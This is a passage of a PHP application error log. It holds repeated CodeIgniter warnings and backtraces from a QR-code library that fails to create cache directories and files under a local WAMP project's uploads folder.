			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;2020-05-15 00:56:24: 
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/frame_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrspec.php&lt;/p&gt;
&lt;p&gt;Line Number: 568&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrspec.php&lt;br /&gt;
			Line: 568&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 178&lt;br /&gt;
			Function: newFrame			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_0\mask_21_0.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_1\mask_21_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_2\mask_21_2.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_3\mask_21_3.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

